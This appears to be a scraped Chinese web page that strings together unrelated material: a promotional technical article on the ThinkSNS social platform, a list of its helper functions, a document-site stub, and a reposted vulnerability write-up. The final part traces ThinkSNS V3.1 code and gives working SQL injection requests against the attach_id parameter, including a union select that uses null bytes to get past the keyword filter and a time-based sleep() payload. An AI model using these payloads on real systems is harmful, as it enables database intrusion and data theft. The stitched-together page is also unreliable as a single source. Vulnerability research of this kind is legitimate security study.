thinksns 4.0钩子怎么用

干货:用技术分析致敬老牌开源社交平台—ThinkSNS
干货:用技术分析致敬老牌开源社交平台—ThinkSNS
我是一个IT宅男,从高中那会儿便开启了自己的SNS社交之路。这七八年的光景都用在了SNS社交上,其中有微笑、有汗水、也有心酸。我出门采光,会拍几张分享到SNS社交;遇见有损社会的行为,果会断在SNS社交曝光;心里有点小情绪,会发到SNS社交吧一吐为快。渐渐的,我习惯了从SNS社交去寻找那些冷不丁的笑点,从文笔大咖的SNS社交中获取文艺的逼格,从IT大牛的SNS社交里汲取业界动态和新鲜的知识。而在诸多SNS社交系统中我最早接触的开源社交SNS还是基于web2.0版本开发的ThinkSNS。
通过一些网络检索发现,像知乎等相关网站里关于ThinkSNS的专业技术信息相对较少,许多程序员们想检索一些关于ThinkSNS技术文档却无从获得。因此我便写了这篇关于ThinkSNS技术方面的文章同诸多喜欢ThinkSNS的创业者们分享,同时也为开发者提供自己在技术方面的见解。
一、我们常说的TS是什么?
首先,我们来熟悉下什么是TS,TS就是“ThinkSNS”的缩写,喜爱TS程序的人,我们称之为TSer。TS是一款开源程序,代码托管平台是GitHub,所有的细节修改,均为透明性更新。
使用者可以通过官网和官方演示社区(Demo站)以及GitHub仓库获得TS最新的开发动态~当然,如果你有兴趣也可以Pull requesTS(简称PR)代码给TS开发人员,开发人员得到代码之后如果符合开源需求,就会合并到TS版本的当中,如果普通用户遇到问题,可以在 demo站或者Github中提交Issues,均会得到开发人员的统一回复。
TS对PHP版本要求压得比较低,基本行业都跨入了php5.5 or php5.6阶段了~但是考虑到国内大部分小众虚拟主机以及很多对相关专业知识不了解的人,所以,TS把php版本压低到了php5.3.12版本~当然,有人认为为什么小版本是12,这个版本是php5.3的第一个稳定版~也就是这个小版本之前的版本都不是稳定版,所以不推荐***使用。
二、Laravel框架Eloquent ORM 与TP框架
TS在2016年的开发过程中做了比较大的底层架构变动。众所周知,TS的底层是基于ThinkPHP框架进行二次修改的,用户不能就ThinkPHP直接对TS进行升级其中一个主要原因就是TP框架并非完全遵循的MIT开源协议。当然,对开发者来说TP框架技术架构本身也存在不够先进和过于抽象的问题。所以综合考虑,TS在数据交换时使用了Laravel框架的Eloquent ORM 。
Eloquent ORM 的优势是什么?这款ORM对数据的处理比较类似于Node.js的数据处理即一切皆为对象,而且ORM对数据关系的处理效率是不输于doctrine的,这也是TS这么选择的原因。当然,考虑更多的是为以后更先进的架构做准备。TS将慢慢采用拓展方式进行开发,并对整个TS程序做架构数据交换等。
新的ORM的引入让TS考虑php7平台的运行,但php7已经完全删除了MySQL的 连接方式,只有PDO和MySQLi。那么,如果想要在php7环境下运行,必定对DB类做重新修改,但是考虑到兼容性的问题,所以目前依旧在旧的应用上,还是由model生成SQL,然后把SQL交给PDO来执行。而新开发的应用和功能均使用全新的ORM做的数据开发。
三、TS技术优势与拓展
除了引入新的ORM,TS还有很多技术优势,比如:有更容易被理解和集成的基类。这些基类是在第三方库的基础上进行二次封装,使TS的模块开发中设置的属性更加标准,也使开发入门更简单。因为,如果继承等都是由开发者去集成第三方的类,那么按照国情,这几乎是不可能的。而在此基础上开发者只需要看下基类,就知道集成后自己需要做什么,无需去学习第三方类。
TS新的拓展(目前是应用)中,原来的静态资源直接引用应用下的资源,在新的架构中,TS的应用都会被统一移动到一个公开缓存目录中,方便外部调用。如此设计是为了使得TS更加安全。这样用户就可以在不暴露代码的前提下得到应用中嵌套的静态资源,站长或者开发人员可以更安全的把非公开代码保留在暴露目录的上层隐藏起来。
那TS具体有哪些功能特色呢?这个问题基本上是仁者见仁智者见智了。因为TS集大成于一身,除了包含社交核心功能外,还有微吧、频道、资讯,活动、商城等,同时还有许多不同行业属性的TS合作产品,如图:
四、聊天和风向才是社交的核心
TS具有独立开发的原生即时聊天系统。我们知道,聊天和风向才是社交的核心。在PC中,TS使用JS轮询来实现消息的接收等操作;移动端中,TS使用了先进的技术方式—Socket技术,为了保证用户记录的不丢失,避免了P2P点对点传输,程序由一个客户端推送给服务器,服务器在把消息转推给另一个客户端,并在数据库中几率,达到了多端同时到达的目的。
五、TS中基础的技术要点
不上点干货的分析都是耍流氓。下面,就讲讲TS中基础的技术要点吧。TS中,应用都有一个配置文件,目前应用目录是apps/ 所以,配置文件就是:“apps//manage.json”,下面有演示代码:
我们可以看到这是比较新的应用配置,老的应用中只需要配置“resource”项即可,配置这项后,静态资源会缓存到“storage/app/”下,如果你配置了开发者模式,每次访问都会移动到这里,所以,storage/app目录是公开的暴露目录。
实现上述所说就不得不提新的应用***类,命名空间是TS\Helper\AppInstall -对新的应用机制做了一些列处理(目前是静态资源缓存),应用的运行器也是位于该命名空间下,“TS\Helper\Controller”这个及时运行器,只需要传入App Name,Controller Name, Action Name,运行器会通过Composer中查找到应用注册的命名空间,来运行需要的控制器代码。
说到这里,不得不提一点重要的技术加入,就是Composer包管理工具。Composer可以说是所有语言的包管理工具中最好的工具,其提供了第三方包的规范集成,升级,卸载,还有符合PSR-0和PSR-4规范的AutoLoader工具。这使得TS中不在需要冗余的自定义自动加载来查找我们需要的类文件和库文件了,使用Composer就可以直接注册。我们用个最简单的例子来说明:
据了解TS开发团队正在开发的全新Web Application应用,其中的重要代码存在于apps//src目录下,那么,TS是如何能找到类自定义的目录位置的呢?说到这里,就得知道应用规定的命名空间,应用对命名空间没有任何要求,唯一有要求的就是控制器,Controller的看命名空间规定为“App\”,这么规定是方便通过URL参数找到应用的控制器,当然,这个也只是暂时的,以后TS的开发中不在有任何命名空间等技术上的要求,你只需要调用路由器注册控制器,而不再是TS主动查找控制器了,使用的所有东西都需要提前注册,这符合先进的技术要求。
言归正传,TS怎么找到 Controller的呢?
其实TS做的事情很简单,构造一个“App\\”的类,然后实例化这个类即可,而这个类是应用开发的时候通过Composer注册到了自动加载中的。这个应用准寻的规范是PSR-4,所以,我们可以把代码放在任何目录,而不只是src目录,这个目录对于TS程序来说是未知的,而Composer却知道,所以TS只需要“询问”Composer就可以得到。
此项新技术的引入,不但减少了繁重的开发工作,而且使得TS代码更加简单,因为我们不在关心和TS本身代码无关的事情,我们只需要专注自己代码部分的开发即可。所以TS的代码包,除开第三方库,从去年的24MB减少到了现在的21MB,为什么还是这么大?因为TS在使用新的技术的同时,要考虑到旧的模块的运行需求,现在无能为力把旧的模块都重新开发一次,因为没有这个必要。我们总不能说,生了一个孩子,孩子长丑了就塞回去重新生的吧!
TS改变的重点在ORM的加入,那么新的数据model怎么使用呢?来个基础的继承代码:
没错,加上注释也就20行,那和之前的模型继承有什么区别?一个区别在于传递参数的改变,ORM支持在MySQL,SqlLite,SQL server等数据库中自由切换。另一个区别在于定义的关键词的改变,一但定义了模型,就可以对表经常操作了,是不是很简单。上表中,查询一条 feed_id是1的数据,很简单,Feed::find(1)。OK,我们已经查询完成了。当然,返回的是一个object,而不是纯数据的 Array。
如果你想把它变成你要的数组,比如$feed就是上面的查询返回的数据,那么只需要 $feed-&toArray()就可以做到。如果我们能知道表的字段,我们就可以直接把查询出来的数据当成对象成员的形式读取,比如$feed-&feed_id或者$feed-&cTime,也可以直接把这个对象传递给foreach来对属性进行遍历,由此看出,新的 ORM对数据处理我们无需像以前那样对数组操作,但是我们可以对遍历等在以前的基础上不变。
当然,具体的更多用处,可以查询Laravel框架官方文档,再举一个ORM中关系的例子。
public function phone()
return $this-&hasOne('Phone');
在上面的方法中定义一个这样的方法,我们一对一的关联了Phone这个模型,$data = Feed::find(1)-&phone 我们就可以得到phone主键feed_id和feed表相同的值的表对象。是不是很方便?
最后再来说一点controller上面的事情把,在TS中封装了一个叫做“TS\Base\NoneController”的基类,在你的控制器下,定义一个叫做“App\\Controller\None”的控制器类,继承这个NoneController对象,那么,你应用下访问到了不存在的 controller的时候就会重定向到这个controller。所以,你可以用这个东西拓展出很多意想不到的方法。
六、ThinkSNS不仅仅是开源,也是创业加速器
我不知道通过这篇文章的介绍,各位是否真的了解了TS,而这只是TS中的凤毛麟角,但也是不可忽视的。
TS一直在成长,尽其所能的为创业者添动力加速度。
总结:TS架构先进,代码符合PSR规范,用户使用简单,兼容性高,创业者可以很容易的适应TS来满足自己的业务需求,开发者可以在极短的时间内入手。
时间对于技术人员和创业者来说,是最昂贵的成本,ThinkSNS的祈望和宗旨,是让创业者,开发者把精力都放在自己该做的事情上。
最后,作为TS粉,诸位看官请收下这份福利:ThinkSNS官方做活动推出新品了,据说转发也有礼,推荐购买送iPhone7。附活动链接:
ThinkSNS社交系统4.2多版本,史无前例5大活动,为创新创业加速度!
编 辑:孔垂帅
谷歌董事长施密特:AI不会威胁到人类
CCTIME推荐
CCTIME飞象网
CopyRight &
京ICP备号&& 京公网安备号
公司名称: 北京飞象互动文化传媒有限公司
未经书面许可,禁止转载、摘编、复制、镜像       会员注册
本站不参与评论!()
自觉遵守:爱国、守法、自律、真实、文明的原则
尊重网上道德,遵守中华人民共和国各项有关法律法规
严禁发表危害国家安全,破坏民族团结、国家宗教政策和社会稳定,含侮辱、诽谤、教唆、淫秽等内容的评论
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
您在本站发表的评论,本站有权保留、转载、引用或者删除
参与本评论即表明您已经阅读并接受上述条款Thinksns惯用函数一览表
Thinksns常用函数一览表:
Thinksns常用函数一览表:
以下是extend.php :
* function get_client_ip() {}获取客户端IP地址
* function msubstr($str, $start=0, $length, $charset="utf-8", $suffix=true)
字符串截取,支持中文和其它编码
* function mStr($str, $length, $charset="utf-8", $suffix=true)字符串截取,支持中文和其它编码
* function rand_string($len=6,$type='',$addChars='') 产生随机字串,可用来自动生成密码 默认长度6位 字母和数字混合
* function build_verify ($length=4,$mode=1)获取登录验证码 默认为4位数字
*function byte_format($size, $dec=2) 字节格式化 把字节数格式为 B K M G T 描述的大小
*function is_utf8($string)
检查字符串是否是UTF8编码
*function highlight_code($str,$show=false) 代码加亮
*function h($text,$type,$tagsMethod=true,$attrMethod=true,$xssAuto = 1,$tags=array(),$attr=array(),$tagsBlack=array(),$attrBlack=array()) 过滤得到安全的html
//function h($text, $tags = null)输出安全的html
//function text($text,$parseBr=false)输出纯文本
function safe($text,$type='html',$tagsMethod=true,$attrMethod=true,$xssAuto = 1,$tags=array(),$attr=array(),$tagsBlack=array(),$attrBlack=array())
*function t($text, $parse_br = false, $quote_style = ENT_NOQUOTES) 转换为安全的纯文本
//function unescape($str) 解析jsescape
//function ubb($Text) 解析UBB
//function build_count_rand ($number,$length=4,$mode=1)
随机生成一组字符串
function remove_xss($val)
*function list_to_tree($list, $pk='id',$pid = 'pid',$child = '_child',$root=0)
*function list_sort_by($list,$field, $sortby='asc')
对查询结果集进行排序
*function list_search($list,$condition)
在数据列表中搜索
//function send_http_status($status) 发送Http状态信息
//function send_http_header($type='utf8') 发送常用http header信息
//function imagecreatefrombmp($fname)
bmp图像处理兼容函数
//function imagebmp(&$im, $filename = '', $bit = 8, $compression = 0) bmp图像处理兼容函数
*function friendlyDate($sTime,$type = 'normal',$alt = 'false')
友好的时间显示
*function dateFormat($sTime, $format = null) 时间显示
//function getMid()获取当前登录用户的UID
//function getUserName($uid,$lang='zh')获取用户姓名
*function getUserAtString($uid, $type = 'uid') 获取用户Gid[Mentor项目]
//function getUserSpace($uid,$class,$target,$text, $icon = true)返回解析的空间地址
//function getUserInfo($uid, $uname, $mid, $status = false)获取用户详细信息
*function getFollowState($uid,$fid,$type=0) 获取关注状态
*function isfavorited($weibo_id, $uid, $weibo_id_array = null, $key = '') 检查给定用户是否收藏给定微博
*function isBlackList($uid, $fid)
是否为黑名单成员
*function getUserFace($uid,$size) 获取用户头像
function getUserFace($uid,$size)
//function convertUidToPath($uid) 将用户ID转换为三级路径
//function getUserGroupIcon($uid) 获取给定用户的用户组图标
function getSubBeKeyArray($origin, $key)
*function getSubByKey($pArray, $pKey="", $pCondition="") 去一个二维数组中的每个数组的固定的键知道的值来形成一个新的一维数组
function getMultiArraySubByKey($pArray,$pKey="")
*function arrayJoin($pArray1, $pArray2, $pFields, $pType="left") 将两个二维数组根据指定的字段来连接起来,连接的方式类似sql查询中的连接
* function canJoin($pRow1, $pRow2, $pFields)判断两个行是否满足连接条件
*function sortByCol($array, $keyname, $dir = SORT_ASC) 根据指定的键对数组排序
*function sortByMultiCols($rowset, $args) 将一个二维数组按照多个列进行排序,类似 SQL 语句中的 ORDER BY
*function getUserEmail($uid) 获取给定用户的Email
*function getSex($sexid) 根据sexid获取性别
function matchImages($content = '')
function matchReplaceImages($content = '')
function matchReplaceImagesOnce($matches)
*function get_str_length($str, $filter = false) 获取字符串的长度
function getShort($str, $length = 40, $ext = '')
//function infoCss($info)动态通知的评论两边的引号是否显示
//function jiami($txt, $key = null) 加密函数
//function jiemi($txt, $key = null) 解密函数
* function escape($str) Format a mySQL string correctly for safe mySQL insert (no mater if magic quotes are on or not)
*function convert_ip($ip) 获取给定IP的物理地址
* function convert_ip_tiny($ip, $ipdatafile)@see convert_ip()
* function convert_ip_full($ip, $ipdatafile)@see convert_ip()
* function desencrypt($input,$key)DES加密函数
* function desdecrypt($encrypted,$key)DES解密函数
*function pkcs5_pad($text, $blocksize) @see desencrypt()
*function pkcs5_unpad($text) @see desdecrypt()
*function isValidEmail($email) 检查Email地址是否合法
*function isEmailAvailable($email,$uid=false) 检查Email是否可用
*function getUids($content) 获取给定字符串中被@用户的uid数组
*function keyWordFilter( $content ) 关键字过滤
*function checkKeyWord( $content ) 检测内容是否含有关键字
*function format($content,$url=false) 格式化微博,替换表情/@用户/话题
*function group_weibo_format($content, $gid, $url=false) 格式化群组微博,替换表情/@用户/话题
*function group_themeformat($data) 群组话题替换 [格式化群组微博专用]
*function formatComment($content,$url=false) 格式化评论, 替换表情和@用户
*function themeformat($data) 话题替换 [格式化微博专用]
*function replaceEmot($data)
表情替换 [格式化微博与格式化评论专用]
*function getUserId($name) 根据用户昵称获取用户ID [格式化微博与格式化评论专用]
*function bindstate($uid,$type) 获取用户的绑定状态
*function getShortUrl($url) 获取给定URL的短地址
*function setOnline($uid) 将给定用户设为在线
*function getOnlineUserCount() 获取当前在线用户数(有效期15分钟)
*function canAccess() 根据access.inc.php检查是否有权访问当前节点(APP_NAME/MODULE_NAME/ACTION_NAME)
*function getAppAlias($appname) 根据应用名获取应用别名
*function stripslashes_deep($value)
Navigates through an array and removes slashes from the values.
*function object_to_array($var) 通过循环遍历将对象转换为数组
*function getLocation($province,$city) 根据给定的省市的代码获取实际地址
*function getFrom($type, $type_data) 获取微博来源
*function lockSubmit($life_time = 30)
*function isSubmitLocked() 检查表单是否已锁定
*function unlockSubmit()
* function real_strip_tags($str, $allowable_tags)对strip_tags函数的扩展, 可以过滤object, param, embed等来自编辑器的标签
*function isMobile()
检查是否是以手机浏览器进入(IN_MOBILE)
function isiPhone()
function isiPad()
function isiOS()
function isAndroid()
*function getBrowser() 获取用户浏览器型号。新加浏览器,修改代码,增加特征字符串.把IE加到12.0 可以使用5-10年了.
* function isLegalUsername检查给定的用户名是否合法
*function object_cache_add($key, $data, $flag = '', $expire = 0)
Adds data to the cache, if the cache key doesn't aleady exist.
*function object_cache_delete($id, $flag = '') Removes the cache contents matching ID and flag.
*function object_cache_flush()
Removes all cache items.
*function object_cache_get($id, $flag = '')
Retrieves the cache contents from the cache by ID and flag.
*function object_cache_init()
Sets up Object Cache Global and assigns it.
*function object_cache_replace($key, $data, $flag = '', $expire = 0)
Replaces the contents of the cache with new data.
*function object_cache_set($key, $data, $flag = '', $expire = 0) Saves the data to the cache.
function object_cache_merge($key, array $data, $flag = '', $expire = 0)
*function object_cache_add_global_groups( $groups ) Adds a group or set of groups to the list of global groups.
*function object_cache_add_non_persistent_groups( $groups )
Adds a group or set of groups to the list of non-persistent groups.
* function object_cache_reset() Reset internal cache keys and structures.
If the cache backend uses global blog or site IDs as part of its cache keys,
* this function instructs the backend to reset those keys and perform any cleanup since blog or site IDs have changed since cache init.
function getOAuthToken($uid)
function getOAuthTokenSecret()
function getCnzz($set = true)
// uri for iis / apache
function getRequestUri()
以下是function.php 内容
//function U($url, $params = false, $redirect = false, $suffix = true)
URL组装 支持不同模式和路由
*function parse_name($name,$type=0) 字符串命名风格转换
//function halt($error)
//function redirect($url,$time=0,$msg='')
//function throw_exception($msg,$type='ThinkException',$code=0) 自定义异常处理
//function debug_start($label='')区间调试开始
//function debug_end($label='')区间调试结束,显示指定标记到当前位置的调试
//function dump($var, $echo=true,$label=null, $strict=true) 浏览器友好的变量输出
//function get_instance_of($name,$method='',$args=array()) 取得对象实例 支持调用类的静态方法
*function __autoload($name) 系统自动加载ThinkPHP基类库和当前项目的model和Action对象
//function require_cache($filename)优化的require_once
//function file_exists_case($filename) 区分大小写的文件存在判断
*function import($class,$baseUrl = '',$ext='.class.php') 导入所需的类库 同java的Import
*function load($name,$baseUrl='',$ext='.php')
基于命名空间方式导入函数库
//function vendor($class,$baseUrl = '',$ext='.php') 快速导入第三方框架类库
// 所有第三方框架的类库文件统一放到 系统的Vendor目录下面
// 并且默认都是以.php后缀导入
*function D($name='',$app='') D函数用于实例化Model
*function M($name='',$class='Model')
M函数用于实例化一个没有模型文件的Model
* function A($name,$app='@')A函数用于实例化Action
function api($name)
//function R($module,$action,$app='@')
远程调用模块的操作方法
//function L($name=null,$value=null) 获取和设置语言定义(不区分大小写)
//function C($name=null,$value=null) 获取配置值
//function tag($name,$params=array()) 处理标签
//function hook($name,$params=array())
实例化hook
//function plugin($name,$params=array()) 实例化插件
//function service($name,$params=array())
实例化服务
//function widget($name,$params=array(),$return=false)
实例化widget
//function model($name,$params=array()) 实例化model
//function X($name,$params=array(),$domain='Service') 调用接口服务
//function B($name,$options=null) 执行 行为
//function W($name, $data = array(), $return = false)
渲染输出Widget
//function S($name,$value='',$expire='',$type='')
全局缓存设置和读取
//function F($name,$value='',$path=false) 快速文件数据读取和保存 针对简单类型数据 字符串、数组
//function to_guid_string($mix) 根据PHP各种类型变量生成唯一标识号
//[RUNTIME]
//function compile($filename,$runtime=false)
//function strip_whitespace($content) 去除代码中的空白和注释
//function array_define($array) 根据数组生成常量定义
//function mk_dir($dir, $mode = 0755) 循环创建目录
//function auto_charset($fContents,$from,$to) 自动转换字符集 支持数组转换
// function xml_encode($data,$encoding='utf-8',$root="think")xml编码
function data_to_xml($data)
* function cookie($name,$value='',$option=null)Cookie 设置、获取、清除 (支持数组或对象直接设置)
function ts_cookie($name,$value='',$option=null)
文章评论 以下网友留言只代表其个人观点,不代表本网站的观点和立场。ThinkSNS模板开发说明文档_图文_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
ThinkSNS模板开发说明文档
上传于||文档简介
&&基​于.写​的​,​有​问​题​请​到​h​t​t​p​:​/​/​t​.​t​h​i​n​k​s​n​s​.​c​o​m​反​馈​给​@​小​秘​书​改​进​。
阅读已结束,如果下载本文需要使用0下载券
想免费下载更多文档?
定制HR最喜欢的简历
下载文档到电脑,查找使用更方便
还剩21页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)
&ThinkSNS 防御绕过2
详细说明:
这个代码跟的我好辛苦啊:
public function PostFeed()
// 返回数据格式
$return = array('status'=&1, 'data'=&'');
// 用户发送内容
$d['content'] = isset($_POST['content']) ? filter_keyword(h($_POST['content'])) : '';
// 原始数据内容
$d['body'] = filter_keyword($_POST['body']);
// 安全过滤
foreach($_POST as $key =& $val) {
$_POST[$key] = t($_POST[$key]);
$d['source_url'] = urldecode($_POST['source_url']);
//应用分享到微博,原资源链接
// 滤掉话题两端的空白
$d['body'] = preg_replace(&/#[\s]*([^#^\s][^#]*[^#^\s])[\s]*#/is&,'#'.trim(&\${1}&).'#',$d['body']);
// 附件信息
$d['attach_id'] = trim(t($_POST['attach_id']), &|&);
if ( !empty($d['attach_id']) ){
$d['attach_id'] = explode('|', $d['attach_id']);
array_map( 'intval' , $d['attach_id'] );
// 发送微博的类型
$type = t($_POST['type']);
// 所属应用名称
$app = isset($_POST['app_name']) ? t($_POST['app_name']) : APP_NAME;
// 当前动态产生所属的应用
$data = model('Feed')-&put($this-&uid, $app, $type, $d);
跟进去put:
public function put($uid, $app = 'public', $type = '', $data = array(), $app_id = 0, $app_table = 'feed', $extUid = null, $lessUids = null, $isAtMe = true, $is_repost = 0) {
if(false && isSubmitLocked()){
$this-&error = '发布内容过于频繁,请稍后再试';
// 判断数据的正确性
if(!$uid || $type == '') {
$this-&error = L('PUBLIC_ADMIN_OPRETING_ERROR');
if ( strpos( $type , 'postvideo' ) !== false ){
$type = 'postvideo';
//微博类型合法性验证 - 临时解决方案
if ( !in_array( $type , array('post','repost','postvideo','postfile','postimage','weiba_post','weiba_repost') )){
$type = 'post';
//应用类型验证 用于分享框 - 临时解决方案
if ( !in_array( $app , array('w3g','public','weiba','tipoff') ) ){
$app = 'public';
$type = 'post';
$app_table = 'feed';
$app_table = strtolower($app_table);
// 添加feed表记录
$data['uid'] = $
$data['app'] = $
$data['type'] = $
$data['app_row_id'] = $app_
$data['app_row_table'] = $app_
$data['publish_time'] = time();
$data['from'] = isset($data['from']) ? intval($data['from']) : getVisitorClient();
$data['is_del'] = $data['comment_count'] = $data['repost_count'] = 0;
$data['is_repost'] = $is_
//判断是否先审后发
$weiboSet = model('Xdata')-&get('admin_Config:feed');
$weibo_premission = $weiboSet['weibo_premission'];
if(in_array('audit',$weibo_premission) || CheckPermission('core_normal','feed_audit')){
$data['is_audit'] = 0;
$data['is_audit'] = 1;
// 微博内容处理
if(Addons::requireHooks('weibo_publish_content')){
Addons::hook(&weibo_publish_content&,array(&$data));
$content = $this-&formatFeedContent($data['body']);
$data['body'] = $content['body'];
$data['content'] = $content['content'];
//分享到微博的应用资源,加入原资源链接
$data['body'] .= $data['source_url'];
$data['content'] .= $data['source_url'];
// 微博类型插件钩子
// if($type){
$addonsData = array();
Addons::hook(&weibo_type&,array(&typeId&=&$type,&typeData&=&$type_data,&result&=&&$addonsData));
$data = array_merge($data,$addonsData);
if( $type == 'postvideo' ){
$typedata = model('Video')-&_weiboTypePublish( $_POST['videourl'] );
if ( $typedata && $typedata['flashvar'] && $typedata['flashimg'] ){
$data = array_merge( $data , $typedata );
$data['type'] = 'post';
// 添加微博信息
$feed_id =
$this-&data($data)-&add();
if(!$feed_id)
if(!$data['is_audit']){
$touid = D('user_group_link')-&where('user_group_id=1')-&field('uid')-&findAll();
foreach($touid as $k=&$v){
model('Notify')-&sendNotify($v['uid'], 'feed_audit');
// 目前处理方案格式化数据
$data['content'] = str_replace(chr(31), '', $data['content']);
$data['body'] = str_replace(chr(31), '', $data['body']);
// 添加关联数据
$feed_data = D('FeedData')-&data(array('feed_id'=&$feed_id,'feed_data'=&serialize($data),'client_ip'=&get_client_ip(),'feed_content'=&$data['body']))-&add();
// 添加微博成功后
if($feed_id && $feed_data) {
//锁定发布
lockSubmit();
//微博发布成功后的钩子
//Addons::hook(&weibo_publish_after&,array('weibo_id'=&$feed_id,'post'=&$data));
// 发送通知消息 - 重点 - 需要简化把上节点的信息去掉.
if($data['is_repost'] == 1) {
// 转发微博
$isAtMe && $content = $data['content'];
// 内容用户
$extUid[] = $data['sourceInfo']['transpond_data']['uid'];
// 资源作者用户
if($isAtMe && !empty($data['curid'])) {
// 上节点用户
$appRowData = $this-&get($data['curid']);
$extUid[] = $appRowData['uid'];
// 其他微博
$content = $data['content'];
//更新最近@的人
model( 'Atme' )-&updateRecentAt( $content );
// 内容用户
// 发送@消息
model('Atme')-&setAppName('Public')-&setAppTable('feed')-&addAtme($content, $feed_id, $extUid, $lessUids);
再跟进去addAtme:
public function addAtme($content, $row_id, $extra_uids = null, $less_uids = null) {
// 去除重复,空值与自己
$extra_uids = array_diff($extra_uids, array($GLOBALS['ts']['mid']));
$extra_uids = array_unique($extra_uids);
$extra_uids = array_filter($extra_uids);
$less_uids[] = $GLOBALS['ts']['mid'];
$less_uids = array_unique($less_uids);
$less_uids = array_filter($less_uids);
// 获取@用户的UID数组
$uids = $this-&getUids($content, $extra_uids, $row_id, $less_uids);
继续跟进getUids:
public function getUids($content, $extra_uids = null, $row_id, $less_uids = null) {
// 正则匹配内容
preg_match_all($this-&_at_regex, $content, $matches);
$unames = $matches[1];
$map = &uname in ('&.implode(&','&,$unames).&')&;
$ulist = model('User')-&where($map)-&field('uid')-&findall();
$matchuids = getSubByKey($ulist,'uid');
// 如果内容匹配中没有用户
if(empty($matchuids) && !empty($extra_uids)) {
// 去除@用户ID
if(!empty($less_uids)) {
foreach($less_uids as $k =& $v) {
if(in_array($v, $extra_uids)) {
unset($extra_uids[$k]);
return is_array($extra_uids) ? $extra_uids : array($extra_uids);
// 如果匹配内容中存在用户
$suid = array();
foreach($matchuids as $v) {
!in_array($v, $suid) && $suid[] = (int)$v;
// 去除@用户ID
if(!empty($less_uids)) {
foreach($suid as $k =& $v) {
if(in_array($v, $less_uids)) {
unset($suid[$k]);
// 发邮件流程
$author = model('User')-&getUserInfo($GLOBALS['ts']['mid']);
$content = model('Source')-&getSourceInfo($this-&_app_table, $row_id, false, $this-&_app);
再看看getSourceInfo:
public function getSourceInfo($table, $row_id, $_forApi = false, $appname = 'public') {
static $forApi = '0';
$forApi == '0' && $forApi = intval ( $_forApi );
$key = $forApi ? $table . $row_id . '_api' : $table . $row_
if ($info = static_cache ( 'source_info_' . $key )) {
switch ($table) {
case 'feed' :
$info = $this-&getInfoFromFeed ( $table, $row_id, $_forApi );
再跟进去getInfoFromFeed :
private function getInfoFromFeed($table, $row_id, $forApi) {
$info = model ( 'Feed' )-&getFeedInfo ( $row_id, $forApi );
再跟进getFeedInfo:
public function getFeedInfo($id, $forApi = false) {
$data = model( 'Cache' )-&get( 'feed_info_'.$id );
if ( $data !== false && ($forApi === false || ($forApi === true && isset($data['iscoll'])) ) ){
$map['a.feed_id'] = $
// //过滤已删除的微博 wap 版收藏
// if($forApi){
$map['a.is_del'] = 0;
$data = $this-&where($map)
-&table(&{$this-&tablePrefix}feed AS a LEFT JOIN {$this-&tablePrefix}feed_data AS b ON a.feed_id = b.feed_id &)
$fd = unserialize($data['feed_data']);
$userInfo = model('User')-&getUserInfo($data['uid']);
$data['ctime'] = date('Y-m-d H:i',$data['publish_time']);
$data['content'] = $forApi ? parseForApi($fd['body']):$fd['body'];
$data['uname'] = $userInfo['uname'];
$data['user_group'] = $userInfo['api_user_group'];
$data['avatar_big'] = $userInfo['avatar_big'];
$data['avatar_middle'] = $userInfo['avatar_middle'];
$data['avatar_small']
= $userInfo['avatar_small'];
unset($data['feed_data']);
// 微博转发
if($data['type'] == 'repost'){
$data['transpond_id'] = $data['app_row_id'];
$data['transpond_data'] = $this-&getFeedInfo($data['transpond_id'], $forApi);
// 附件处理
if(!empty($fd['attach_id'])) {
$data['has_attach'] = 1;
$attach = model('Attach')-&getAttachByIds($fd['attach_id']);
$fd = unserialize($data['feed_data']);
$attach = model('Attach')-&getAttachByIds($fd['attach_id']);
这时候 在跟进到getAttachByIds 这里面:
public function getAttachByIds($ids, $field = '*') {
if(empty($ids)) {
!is_array($ids) && $ids = explode(',', $ids);
$map['attach_id'] = array('IN', $ids);
$data = $this-&where($map)-&field($field)-&findAll();
造成一个看起来和二次注意一样的,但是又没有任何限制的注入:
http://localhost/ThinkSNS_V3.1_22/index.php?app=public&mod=Feed&act=PostFeed
type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on select 0x273c3f293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` #
后台抓取的sql:
20:48 SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select 0x273c3f293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) )
触发漏洞条件
1.注册一个普通用户
2.refresh只要是本站就可以我们设置为http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
3.为了明显期间我们采用延时盲注进行测试
http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on sele%00ct sle%00ep(1%2f10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` #
http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
后台抓取sql为:
13:22 SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select sleep(1/10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) )
【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱,我们会在最短的时间内进行处理。
上一篇:【】【】

参考资料

 

随机推荐